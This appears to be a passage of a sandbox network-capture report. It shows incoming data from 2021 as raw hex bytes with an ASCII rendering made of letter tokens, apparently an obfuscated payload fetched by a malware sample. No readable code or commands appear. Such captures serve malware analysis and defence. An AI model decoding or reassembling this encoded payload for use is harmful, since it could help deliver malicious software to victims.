2021-10-29 18:29:04 UTC	687	IN	Data Raw: 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 6d 58 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 58 58 20 4f 20 6d 58 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 45 20 4f 20 58 44 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 58 4a 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 Data Ascii: O XD O Wq O mX O qOD O XW O XX O mX O XW O Eq O qqq O DE O XD O mE O WD O XD O DW O EE O DD O DW O DW O Ep O XX O DW O qOO O DW O qqm O mE O qOO O qOJ O XJ O DX O mE O qJO O XE O XW O qqM O DM O DW O DW O XD O mE O WD O XD O qOX O EE O DD O DW O DW O Ep
2021-10-29 18:29:04 UTC	703	IN	Data Raw: 58 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 71 4a 4a 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 71 20 4f 20 58 44 20 4f 20 71 71 45 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 71 4f 4a 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 71 57 Data Ascii: X O WE O mM O DE O XO O WD O XD O Xq O EE O Em O DW O DW O Ep O XX O DW O qOJ O qOp O mp O EX O qOm O qOJ O qJJ O qOJ O mE O mE O WE O Xq O XD O qqE O qOW O MX O mE O XO O mE O mE O XE O XD O qOX O Eq O qOp O qOJ O WW O mE O mE O qqM O DW O DW O qOO O qqW
2021-10-29 18:29:04 UTC	719	IN	Data Raw: 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 71 71 44 20 4f 20 6d 70 20 4f 20 58 70 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 4f 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 6d 20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 44 20 4f 20 71 71 70 20 4f 20 45 6d 20 4f 20 45 70 20 4f 20 45 4a 20 4f 20 71 4f 6d 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 45 4a 20 4f 20 71 71 58 20 4f 20 45 71 20 4f 20 Data Ascii: O DW O WJ O qqD O mp O Xp O XO O mp O WO O qqq O DW O Ep O DW O DW O EM O qOm O mp O qJO O qqX O mE O mE O XD O WO O qOp O DW O XE O DW O DW O DW O qOW O WD O qqD O qqp O Em O Ep O EJ O qOm O mE O qqM O WD O DW O DW O EO O EO O Xq O Wm O EJ O qqX O Eq O
2021-10-29 18:29:04 UTC	735	IN	Data Raw: 4f 20 57 44 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 71 4f 44 20 4f 20 71 71 58 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 45 20 4f 20 4d 58 20 4f 20 71 4a 71 20 4f 20 4d 4d 20 4f 20 45 70 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 45 20 4f 20 45 44 20 4f 20 57 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 71 71 57 20 4f 20 45 57 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 58 20 4f 20 6d 70 20 4f 20 45 44 20 4f 20 45 4a 20 4f 20 57 70 20 4f 20 4d 4d 20 4f 20 58 57 20 4f 20 57 4a 20 4f 20 71 71 44 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 71 71 45 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 45 Data Ascii: O WD O MX O qqq O qOD O qqX O Wq O mE O mE O mM O WE O MX O qJq O MM O Ep O Ep O DW O EO O XE O ED O WW O Ep O XO O qqW O EW O EO O MM O qJJ O mE O qJJ O qOX O mp O ED O EJ O Wp O MM O XW O WJ O qqD O Eq O EE O Ep O qqW O MM O qqE O Ep O qqD O EM O Xq O E
2021-10-29 18:29:04 UTC	751	IN	Data Raw: 4d 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 44 44 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 45 45 20 4f 20 57 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 58 4a 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 57 70 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 6d 70 20 4f 20 Data Ascii: M O WJ O qqW O DD O mE O WO O DW O qOp O EE O WD O DD O DW O qqM O qOp O Xq O DW O EE O WD O DW O Wp O XJ O DE O Xq O DM O DX O Wp O Xm O DW O qqM O qOp O Xq O DW O XD O XM O qqX O qqW O XW O XM O EX O qOX O mE O DW O DD O Xm O XD O qOX O qOq O ED O mp O
2021-10-29 18:29:04 UTC	767	IN	Data Raw: 20 71 4f 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 44 4d 20 4f 20 45 6d 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 58 58 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 58 70 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 58 57 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 71 71 4a 20 4f Data Ascii: qOW O MO O qqM O qOE O qOp O DW O Ep O DW O DW O Ep O WO O DM O Em O Ep O DW O DE O DW O DW O DD O Xq O qqq O XX O Xm O Wm O Xq O DW O DW O EO O DD O EO O XW O DW O DW O EO O DX O qqq O ED O Xp O qqq O DW O DW O EO O qOX O MO O XW O mp O qOp O Ep O qqJ O
2021-10-29 18:29:04 UTC	783	IN	Data Raw: 20 71 4f 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 57 45 20 4f 20 4d 45 20 4f 20 58 4f 20 4f 20 58 6d 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 4d 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 45 57 20 4f 20 45 45 20 4f 20 71 71 4d 20 4f 20 6d 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 71 4a 4f 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 71 71 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 57 44 20 4f 20 58 6d 20 4f 20 6d 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f Data Ascii: qOm O DW O DW O EJ O Xq O WE O ME O XO O Xm O XM O Xq O DW O DD O XX O mE O WE O ME O EO O qqM O EW O EE O qqM O mp O DM O DW O DW O qOO O DE O qJO O qqq O DD O EX O qOX O DW O DW O EO O qOJ O mE O mM O qqq O XX O DW O qqq O WD O Xm O mM O Xq O DW O DD O
2021-10-29 18:29:04 UTC	799	IN	Data Raw: 45 20 4f 20 58 4f 20 4f 20 71 4a 4a 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 58 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 44 4d 20 4f 20 71 4f 57 20 4f 20 57 71 20 4f 20 58 4d 20 4f 20 44 4d 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 4d 4f 20 4f 20 6d 58 20 4f 20 45 4f 20 4f 20 71 4f 4a 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 4d 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 45 71 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 45 71 20 Data Ascii: E O XO O qJJ O MO O Xq O DW O DD O Xq O mE O qJO O XX O XW O qqM O DM O DW O DW O qOW O XW O XM O DM O qOW O Wq O XM O DM O qOm O qOJ O MO O mX O EO O qOJ O WE O mM O DM O XO O WE O mM O DX O XO O WE O mM O Eq O XO O WE O mM O EO O XO O WE O mM O DE O Eq
2021-10-29 18:29:04 UTC	815	IN	Data Raw: 4f 20 71 71 6d 20 4f 20 57 45 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 57 45 20 4f 20 57 45 20 4f 20 71 71 6d 20 4f 20 57 4f 20 4f 20 71 4a 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 6d 20 4f 20 58 4f 20 4f 20 4d 45 20 4f 20 58 4a 20 4f 20 71 4f 44 20 4f 20 71 71 44 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 45 44 20 4f 20 4d 4d 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 58 58 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 4d 20 4f 20 58 6d 20 4f 20 58 4f 20 4f 20 45 4a 20 4f 20 71 71 71 20 4f 20 57 71 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 45 Data Ascii: O qqm O WE O WJ O XO O qqm O WE O WE O qqm O WO O qJO O DM O DX O mX O Xm O XO O ME O XJ O qOD O qqD O mM O DE O Ep O qqX O ED O MM O qqE O MO O MX O qqq O XX O DX O Wm O Xq O DW O DW O DX O qqM O Xm O XO O EJ O qqq O Wq O DX O Wm O Xq O DW O DD O qOJ O E
2021-10-29 18:29:04 UTC	831	IN	Data Raw: 20 45 4f 20 4f 20 71 71 4d 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 6d 58 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 6d 20 4f 20 45 71 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 45 4f 20 4f 20 45 71 20 4f 20 4d 45 20 4f 20 44 58 20 4f 20 45 4d 20 4f 20 45 4f 20 4f 20 71 4a 4f 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 4d 45 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 4d 4d 20 4f 20 71 4f 4f 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 58 71 20 Data Ascii: EO O qqM O EJ O Xq O qJO O qOD O XM O XX O mX O mE O qOJ O mE O mE O XW O Eq O qqq O DW O ME O Eq O qOp O DM O DW O DW O DX O qqm O Eq O Ep O qqD O EO O EO O Eq O ME O DX O EM O EO O qJO O mM O DD O WO O ME O DX O qOq O DW O Em O MM O qOO O DD O EO O Xq
2021-10-29 18:29:04 UTC	847	IN	Data Raw: 20 45 4f 20 4f 20 71 4f 6d 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4a 4a 20 4f 20 45 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 45 4f 20 4f 20 58 4f 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 45 44 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 4d 58 20 4f 20 6d 58 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 71 4f 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 71 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 4d 4d 20 4f 20 45 4f 20 4f 20 57 70 20 4f 20 45 4f 20 4f 20 71 4f 6d 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 Data Ascii: EO O qOm O DD O DW O EO O qJJ O EE O Xq O DW O DX O qqq O EO O XO O qJJ O mE O mE O WJ O XO O DM O DX O ED O Wp O qOp O MX O mX O DM O DW O Wm O DD O MO O qOm O mE O mE O WE O qqq O qOW O ED O MO O DW O DW O EE O MM O EO O Wp O EO O qOm O DD O DW O Eq O
2021-10-29 18:29:04 UTC	863	IN	Data Raw: 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 Data Ascii: O Xq O DD O EX O DW O Eq O DM O DW O MM O qqM O DD O qqm O DW O DW O DW O DW O DW O DW O DD O DX O DW O Eq O WD O DW O MX O Xq O DD O qqM O DW O Eq O DM O DW O qOO O DW O DW O WO O DW O DX O Xq O DW O EE O DW O DW O mX O DW O DX O qOp O DW O EE O DW O DW
2021-10-29 18:29:04 UTC	879	IN	Data Raw: 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 Data Ascii: XO O qOp O DW O DW O DW O DX O qqM O DW O ME O Xq O DD O mX O DW O Eq O XW O DW O MX O Xq O DW O mp O DW O DW O mX O DW O DE O qOp O DW O DW O DW O DW O DW O DW O XO O DW O DW O qOX O DW O EJ O EE O DW O XO O qOp O DW O qOX O DW O EJ O EE O DW O XO O DW
2021-10-29 18:29:04 UTC	895	IN	Data Raw: 44 20 4f 20 4d 4f 20 4f 20 58 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 6d 4d 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 Data Ascii: D O MO O XD O MM O DW O DW O DM O qOO O qOX O qOO O EO O DD O qJq O MX O WO O EX O qOX O MM O Wq O EX O XW O ME O XE O mM O qOX O MM O qqM O DD O Wq O DW O Eq O qOE O DW O MX O qOp O DD O qJJ O DW O EJ O Xq O DW O XM O Xq O DW O qqE O DW O Eq O Xq O DW O
2021-10-29 18:29:04 UTC	911	IN	Data Raw: 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 71 71 4d 20 4f 20 45 6d 20 4f 20 71 71 44 20 4f 20 58 4d 20 4f 20 58 45 20 4f 20 71 4a 4f 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 71 4f 4f 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 6d 4d 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 58 45 20 4f 20 45 58 20 Data Ascii: O qOJ O qOO O WO O EX O qJJ O ME O XE O EX O qqD O MM O DW O DW O DW O mM O qqM O Em O qqD O XM O XE O qJO O qqW O MX O WO O EE O DW O DW O DX O qOp O DX O qOO O WO O EX O qJJ O qOO O Eq O WE O mM O MX O DW O DX O MM O DW O qOM O mM O qOX O MX O XE O EX
2021-10-29 18:29:04 UTC	927	IN	Data Raw: 71 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 58 44 20 4f 20 57 4f 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 58 4a 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 6d 58 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 45 6d 20 4f 20 58 70 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 58 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 Data Ascii: q O DD O Xm O XE O EO O qqM O XD O WO O qOX O qqE O MO O Eq O WE O Wq O XW O Eq O WE O qqJ O MX O qqO O XJ O qJJ O DW O DW O qqM O DD O XJ O WO O XD O mX O XJ O DM O EE O DW O EW O qOp O Em O Xp O MO O XE O qJO O qOX O XM O XX O EX O qOX O XJ O DM O EE O
2021-10-29 18:29:04 UTC	943	IN	Data Raw: 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 Data Ascii: qOE O DW O DW O DW O DW O qOp O DD O DW O DE O DW O EW O qOp O DW O DW O DW O DX O qOp O DM O DW O Ep O DW O qqW O DW O DW O DW O DW O XW O DW O Xq O DW O qOp O DE O mX O DW O DW O DW O DD O qqq O DD O DW O DE O DW O ED O qqM O DW O DW O DW O Ep O DW O D
2021-10-29 18:29:04 UTC	959	IN	Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 4d 58 20 4f 20 58 4a 20 4f 20 57 4a 20 4f 20 57 70 20 4f 20 71 4f 57 20 4f 20 57 45 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 71 4f 57 20 4f 20 57 45 20 4f 20 44 Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O WJ O MX O XJ O WJ O Wp O qOW O WE O DW O Wp O qOW O WE O D
2021-10-29 18:29:04 UTC	975	IN	Data Raw: 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 4d 4d 20 4f 20 58 70 20 4f 20 45 6d 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 44 45 20 Data Ascii: O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O WW O Eq O XW O qOp O qOp O Ep O DE O DW O WW O MM O Xp O Em O WJ O qOM O qqq O Wp O WJ O qOM O qqq O Wp O WJ O qOM O qqq O Wp O qOp O Ep O DE
